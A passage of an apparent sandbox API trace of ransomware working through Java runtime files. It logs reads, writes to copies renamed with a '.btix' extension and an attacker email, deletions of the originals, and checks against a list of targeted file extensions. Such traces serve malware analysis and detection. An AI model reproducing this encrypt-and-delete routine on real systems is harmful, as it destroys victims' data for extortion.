dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0047.586] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=12250) returned 1 [0047.586] CloseHandle (hObject=0x318) returned 1 [0047.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif")) returned 0x20 [0047.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0047.586] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0047.586] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.586] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.586] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0047.586] GetLastError () returned 0x0 [0047.586] ReadFile (in: hFile=0x318, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x2fda, lpOverlapped=0x0) returned 1 [0047.771] WriteFile (in: hFile=0x2e0, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x2fe0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x2fe0, lpOverlapped=0x0) returned 1 [0047.772] ReadFile (in: hFile=0x318, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0047.772] WriteFile (in: hFile=0x2e0, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xfc, lpOverlapped=0x0) returned 1 [0047.772] SetEndOfFile (hFile=0x2e0) returned 1 [0047.773] CloseHandle (hObject=0x2e0) returned 1 [0047.773] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.774] SetEndOfFile (hFile=0x318) returned 1 [0047.774] CloseHandle (hObject=0x318) returned 1 [0047.774] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0047.775] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif")) returned 1 [0047.775] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0047.775] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0047.775] lstrlenW (lpString=".doc") returned 4 [0047.775] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0047.775] lstrlenW (lpString=".docx") returned 5 [0047.775] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1 [0047.775] lstrlenW (lpString=".pdf") returned 4 [0047.775] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0047.775] lstrlenW (lpString=".xls") returned 4 [0047.775] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0047.775] lstrlenW (lpString=".xlsx") returned 5 [0047.775] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1 [0047.775] lstrlenW (lpString=".ppt") returned 4 [0047.775] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0047.775] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0047.775] lstrlenW (lpString=".zip") returned 4 [0047.775] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0047.775] lstrlenW (lpString=".rar") returned 4 [0047.775] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0047.775] lstrlenW (lpString=".bz2") returned 4 [0047.775] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0047.775] lstrlenW (lpString=".7z") returned 3 [0047.775] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0047.776] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0047.776] lstrlenW (lpString=".dbf") returned 4 [0047.776] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0047.776] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0047.776] lstrlenW (lpString=".1cd") returned 4 [0047.776] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0047.776] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0047.776] lstrlenW (lpString=".jpg") returned 4 [0047.776] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0047.776] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0047.776] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0047.776] lstrlenW (lpString=".doc") returned 4 [0047.776] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0047.776] lstrlenW (lpString=".docx") returned 5 [0047.776] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1 [0047.776] lstrlenW (lpString=".pdf") returned 4 [0047.776] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0047.776] lstrlenW (lpString=".xls") returned 4 [0047.776] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0047.776] lstrlenW (lpString=".xlsx") returned 5 [0047.776] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1 [0047.776] lstrlenW (lpString=".ppt") returned 4 [0047.776] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0047.776] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0047.776] lstrlenW (lpString=".zip") returned 4 [0047.776] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0047.776] lstrlenW (lpString=".rar") returned 4 [0047.776] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0047.776] lstrlenW (lpString=".bz2") returned 4 [0047.776] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0047.776] lstrlenW (lpString=".7z") returned 3 [0047.776] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0047.776] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0047.776] lstrlenW (lpString=".dbf") returned 4 [0047.777] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0047.777] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0047.777] lstrlenW (lpString=".1cd") returned 4 [0047.777] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0047.777] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0047.777] lstrlenW (lpString=".jpg") returned 4 [0047.777] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0047.777] lstrcmpiW (lpString1=".gif", lpString2=".btix") returned 1 [0047.777] lstrlenW (lpString="win32_CopyNoDrop32x32.gif") returned 25 [0047.777] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0047.842] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=153) returned 1 [0047.842] CloseHandle (hObject=0x38c) returned 1 [0047.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif")) returned 0x20 [0047.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0047.843] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0047.843] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.843] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.843] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0047.852] GetLastError () returned 0x0 [0047.852] ReadFile (in: hFile=0x38c, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x99, lpOverlapped=0x0) returned 1 [0047.853] WriteFile (in: hFile=0x364, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xa0, lpOverlapped=0x0) returned 1 [0047.854] ReadFile (in: hFile=0x38c, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0047.854] WriteFile (in: hFile=0x364, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x106, lpOverlapped=0x0) returned 1 [0047.854] SetEndOfFile (hFile=0x364) returned 1 [0047.854] CloseHandle (hObject=0x364) returned 1 [0047.854] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.854] SetEndOfFile (hFile=0x38c) returned 1 [0047.855] CloseHandle (hObject=0x38c) returned 1 [0047.855] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0047.856] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif")) returned 1 [0047.856] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0047.856] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0047.856] lstrlenW (lpString=".doc") returned 4 [0047.856] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0047.856] lstrlenW (lpString=".docx") returned 5 [0047.856] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0047.856] lstrlenW (lpString=".pdf") returned 4 [0047.856] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0047.856] lstrlenW (lpString=".xls") returned 4 [0047.856] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0047.856] lstrlenW (lpString=".xlsx") returned 5 [0047.856] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0047.856] lstrlenW (lpString=".ppt") returned 4 [0047.856] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0047.856] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0047.856] lstrlenW (lpString=".zip") returned 4 [0047.856] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0047.856] lstrlenW (lpString=".rar") returned 4 [0047.856] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0047.856] lstrlenW (lpString=".bz2") returned 4 [0047.856] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0047.856] lstrlenW (lpString=".7z") returned 3 [0047.857] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0047.857] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0047.857] lstrlenW (lpString=".dbf") returned 4 [0047.857] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0047.857] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0047.857] lstrlenW (lpString=".1cd") returned 4 [0047.857] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0047.857] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0047.857] lstrlenW (lpString=".jpg") returned 4 [0047.857] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0047.857] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0047.857] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0047.857] lstrlenW (lpString=".doc") returned 4 [0047.857] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0047.857] lstrlenW (lpString=".docx") returned 5 [0047.857] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0047.857] lstrlenW (lpString=".pdf") returned 4 [0047.857] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0047.857] lstrlenW (lpString=".xls") returned 4 [0047.857] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0047.857] lstrlenW (lpString=".xlsx") returned 5 [0047.857] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0047.857] lstrlenW (lpString=".ppt") returned 4 [0047.857] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0047.857] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0047.857] lstrlenW (lpString=".zip") returned 4 [0047.857] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0047.857] lstrlenW (lpString=".rar") returned 4 [0047.857] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0047.857] lstrlenW (lpString=".bz2") returned 4 [0047.857] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0047.857] lstrlenW (lpString=".7z") returned 3 [0047.857] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0047.857] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0047.858] lstrlenW (lpString=".dbf") returned 4 [0047.858] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0047.858] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0047.858] lstrlenW (lpString=".1cd") returned 4 [0047.858] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0047.858] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0047.858] lstrlenW (lpString=".jpg") returned 4 [0047.858] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0047.858] lstrcmpiW (lpString1=".gif", lpString2=".btix") returned 1 [0047.858] lstrlenW (lpString="win32_LinkNoDrop32x32.gif") returned 25 [0047.858] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0047.858] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=153) returned 1 [0047.859] CloseHandle (hObject=0x38c) returned 1 [0047.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif")) returned 0x20 [0047.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0047.859] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0047.859] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.859] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.859] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0047.860] GetLastError () returned 0x0 [0047.860] ReadFile (in: hFile=0x38c, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x99, lpOverlapped=0x0) returned 1 [0047.860] WriteFile (in: hFile=0x390, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xa0, lpOverlapped=0x0) returned 1 [0047.861] ReadFile (in: hFile=0x38c, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0047.861] WriteFile (in: hFile=0x390, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x106, lpOverlapped=0x0) returned 1 [0047.861] SetEndOfFile (hFile=0x390) returned 1 [0047.868] CloseHandle (hObject=0x390) returned 1 [0047.869] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.869] SetEndOfFile (hFile=0x38c) returned 1 [0047.870] CloseHandle (hObject=0x38c) returned 1 [0047.870] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0047.870] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif")) returned 1 [0047.871] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0047.871] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0047.871] lstrlenW (lpString=".doc") returned 4 [0047.871] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0047.871] lstrlenW (lpString=".docx") returned 5 [0047.871] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0047.871] lstrlenW (lpString=".pdf") returned 4 [0047.871] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0047.871] lstrlenW (lpString=".xls") returned 4 [0047.871] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0047.871] lstrlenW (lpString=".xlsx") returned 5 [0047.872] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0047.872] lstrlenW (lpString=".ppt") returned 4 [0047.872] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0047.872] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0047.872] lstrlenW (lpString=".zip") returned 4 [0047.872] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0047.872] lstrlenW (lpString=".rar") returned 4 [0047.872] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0047.872] lstrlenW (lpString=".bz2") returned 4 [0047.872] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0047.872] lstrlenW (lpString=".7z") returned 3 [0047.872] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0047.872] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0047.872] lstrlenW (lpString=".dbf") returned 4 [0047.872] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0047.872] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0047.872] lstrlenW (lpString=".1cd") returned 4 [0047.872] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0047.872] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0047.872] lstrlenW (lpString=".jpg") returned 4 [0047.872] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0047.872] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0047.872] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0047.872] lstrlenW (lpString=".doc") returned 4 [0047.872] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0047.872] lstrlenW (lpString=".docx") returned 5 [0047.872] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0047.873] lstrlenW (lpString=".pdf") returned 4 [0047.873] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0047.873] lstrlenW (lpString=".xls") returned 4 [0047.873] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0047.873] lstrlenW (lpString=".xlsx") returned 5 [0047.873] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0047.873] lstrlenW (lpString=".ppt") returned 4 [0047.873] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0047.873] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0047.873] lstrlenW (lpString=".zip") returned 4 [0047.873] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0047.873] lstrlenW (lpString=".rar") returned 4 [0047.873] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0047.873] lstrlenW (lpString=".bz2") returned 4 [0047.873] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0047.873] lstrlenW (lpString=".7z") returned 3 [0047.873] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0047.873] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0047.873] lstrlenW (lpString=".dbf") returned 4 [0047.873] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0047.873] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0047.873] lstrlenW (lpString=".1cd") returned 4 [0047.873] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0047.873] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0047.873] lstrlenW (lpString=".jpg") returned 4 [0047.873] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0047.873] lstrcmpiW (lpString1=".gif", lpString2=".btix") returned 1 [0047.873] lstrlenW (lpString="win32_MoveNoDrop32x32.gif") returned 25 [0047.873] CreateFileW (lpFileName="C:\\Program 